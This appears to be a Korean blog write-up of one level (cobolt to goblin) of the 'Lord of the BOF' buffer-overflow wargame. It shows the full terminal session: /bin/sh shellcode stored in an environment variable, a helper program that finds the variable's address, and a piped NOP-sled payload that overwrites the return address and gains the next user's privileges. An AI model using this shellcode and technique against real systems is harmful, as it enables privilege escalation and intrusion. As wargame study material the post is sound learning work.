/* 1. bash2를 사용해 \xff도 인식되도록 합니다*/
[cobolt@localhost cobolt]$ bash2
/*2. 환경변수를 생성합니다.*/
[cobolt@localhost cobolt]$ export COBOLT=$(perl -e 'print "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"')
[cobolt@localhost cobolt]$ env //잘들어갔나 확인
PWD=/home/cobolt
REMOTEHOST=192.168.0.1
HOSTNAME=localhost.localdomain
LESSOPEN=|/usr/bin/lesspipe.sh %s
USER=cobolt
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
MACHTYPE=i386-redhat-linux-gnu
MAIL=/var/spool/mail/cobolt
INPUTRC=/etc/inputrc
BASH_ENV=/home/cobolt/.bashrc
LANG=en_US
DISPLAY=192.168.0.1:0.0
LOGNAME=cobolt
SHLVL=2
USERNAME=
SHELL=/bin/bash
HOSTTYPE=i386
HISTSIZE=1000
OSTYPE=linux-gnu
TERM=xterm
HOME=/home/cobolt
PATH=/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/cobolt/bin
COBOLT=j
X?Rh//shh/bin??S?訴 //굿
_=/usr/bin/env
/* 3. 환경변수의 주소를 찾습니다 */
[cobolt@localhost cobolt]$ vi getenv.c
[cobolt@localhost cobolt]$ cat getenv.c
#include <stdio.h>
int main(int argc, char *argv[]){
printf("%p\n",getenv(argv[1]));
return 0;
}
[cobolt@localhost cobolt]$ gcc getenv.c -o getenv
[cobolt@localhost cobolt]$ ./getenv COBOLT
0xbfffffd0 //주소
[cobolt@localhost cobolt]$ (perl -e 'print "\x90"x20, "\xd0\xff\xff\xbf"';cat)|./goblin
/*stdin을 공격할 수 있게 만드는(?) 코드를 추가시킵니다.*/
my-pass
?????????????????????퓅y-pass
my-pass
euid = 503
처음에는 그냥 전 단계같이 환경변수만 넣었더니 안되더라구요. 그래서 구글링하다가 stdin을 공격하는 코드중 cat가 있어 넣어봤습니다. 그래도 안되서 아는형께 물어보니 파이프를 사용해 넣는거라서 앞의 $표시는 필요없다고 해요.
이번에 배운것:
-cat를 사용할땐 앞에 달러표시를 지운다
-달러표시는 커맨드라인으로 넘겨줄때, 파이프는 괄호만
-환경변수의 주소를 알아낼때, 환경변수가 프로그램에 밀리므로 나오는 주소가 프로그램명에 따라 다르다
-xshell♥
노트쓴건 없네요.. 딱히..
'STUDY > Lord of the BOF' 카테고리의 다른 글
wolfman->darkelf (0) | 2013.11.21 |
---|---|
orc->wolfman (0) | 2013.11.21 |
goblin->orc (0) | 2013.11.20 |
gremlin->cobolt (0) | 2013.10.30 |
gate->gremlin (0) | 2013.10.27 |